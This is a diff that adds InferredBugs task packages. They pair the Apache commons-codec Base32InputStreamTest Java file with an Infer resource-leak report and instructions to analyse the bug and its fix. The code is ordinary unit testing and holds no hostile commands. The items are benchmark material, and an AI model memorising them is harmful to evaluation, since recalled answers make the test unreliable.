+    // InputStreamReader isr = new InputStreamReader(in);
+    // BufferedReader br = new BufferedReader(isr);
+    // String line = br.readLine();
+    // assertNotNull("Codec101:  InputStreamReader works!", line);
+    // }
+
+    /**
+     * Test the Base32InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testCodec98NPE() throws Exception {
+    // byte[] codec98 = StringUtils.getBytesUtf8(Base32TestData.CODEC_98_NPE);
+    // ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+    // Base32InputStream stream = new Base32InputStream(data);
+    //
+    // // This line causes an NPE in commons-codec-1.4.jar:
+    // byte[] decodedBytes = Base32TestData.streamToBytes(stream, new byte[1024]);
+    //
+    // String decoded = StringUtils.newStringUtf8(decodedBytes);
+    // assertEquals(
+    // "codec-98 NPE Base32InputStream", Base32TestData.CODEC_98_NPE_DECODED, decoded
+    // );
+    // }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testAvailable() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(1, b32stream.available());
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(0, b32stream.available());
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+        assertEquals(0, b32stream.available());
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamPemChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase32EmptyInputStream(int chuckSize) throws Exception {
+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // OpenSSL interop test.
+        // encoded = StringUtils.getBytesUtf8(Base32TestData.ENCODED_32_CHARS_PER_LINE);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, Base32.PEM_CHUNK_SIZE, LF);
+        //
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base32InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
+     * Tests read returning 0
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base32InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base32InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base32InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base32InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base32InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base32InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping as a noop
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b32stream.skip(0));
+        b32stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 102, 111, 111, 0, 0, 0 });
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping number of characters larger than the internal buffer.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipBig() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(3, b32stream.skip(1024));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(3));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests if negative arguments to skip are handled correctly.
+     *
+     * @throws Throwable
+     */
+    @Test(expected=IllegalArgumentException.class)
+    public void testSkipWrongArgument() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        b32stream.skip(-10);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base32InputStream` acquired to `in` by call to `Base32InputStream(...)` at line 387 is not released after line 389.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base32InputStreamTest.testMarkSupported()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base32InputStreamTest.testMarkSupported():void.c611d2ac59cdd7d5d6f3300455ad0619
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base32InputStreamTest.java
+
+### Key:
+Base32InputStreamTest.java|testMarkSupported|RESOURCE_LEAK
+
+### Node Key:
+37f4cc7a17f8001fbd4a4245352b84d7
+
+### Hash:
+879ffb5fee818aec28ff2a14227b492c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3340/instruction.md b/inferredbugs-3340/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1568bd4861f2d24ce52a38ae296a32427138de22
--- /dev/null
+++ b/inferredbugs-3340/instruction.md
@@ -0,0 +1,617 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class Base32InputStreamTest {
+
+    private static final String ENCODED_FOO = "MZXW6===";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base32OutputStream base32os = new Base32OutputStream(bos);
+
+        base32os.write(StringUtils.getBytesUtf8(STRING_FIXTURE));
+        base32os.close();
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base32InputStream ins = new Base32InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        byte[] decodedBytes = Base32TestData.streamToBytes(ins, new byte[64]);
+        String str = StringUtils.newStringUtf8(decodedBytes);
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base32InputStream in = new Base32InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    // /**
+    // * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0
+    // * because Java's builtin InputStreamReader hates that.
+    // *
+    // * @throws Exception for some failure scenarios.
+    // */
+    // @Test
+    // public void testCodec101() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // byte[] result = new byte[8192];
+    // int c = in.read(result);
+    // assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+    //
+    // c = in.read(result);
+    // assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    // }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     *
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base32InputStreamTest.testInputStreamReader(Base32InputStreamTest.java:75)
+     *
+     * But in commons-codec-1.5 it's fixed. :-)
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testInputStreamReader() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // InputStreamReader isr = new InputStreamReader(in);
+    // BufferedReader br = new BufferedReader(isr);
+    // String line = br.readLine();
+    // assertNotNull("Codec101:  InputStreamReader works!", line);
+    // }
+
+    /**
+     * Test the Base32InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testCodec98NPE() throws Exception {
+    // byte[] codec98 = StringUtils.getBytesUtf8(Base32TestData.CODEC_98_NPE);
+    // ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+    // Base32InputStream stream = new Base32InputStream(data);
+    //
+    // // This line causes an NPE in commons-codec-1.4.jar:
+    // byte[] decodedBytes = Base32TestData.streamToBytes(stream, new byte[1024]);
+    //
+    // String decoded = StringUtils.newStringUtf8(decodedBytes);
+    // assertEquals(
+    // "codec-98 NPE Base32InputStream", Base32TestData.CODEC_98_NPE_DECODED, decoded
+    // );
+    // }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testAvailable() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(1, b32stream.available());
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(0, b32stream.available());
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+        assertEquals(0, b32stream.available());
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamPemChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase32EmptyInputStream(int chuckSize) throws Exception {
+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // OpenSSL interop test.
+        // encoded = StringUtils.getBytesUtf8(Base32TestData.ENCODED_32_CHARS_PER_LINE);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, Base32.PEM_CHUNK_SIZE, LF);
+        //
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base32InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
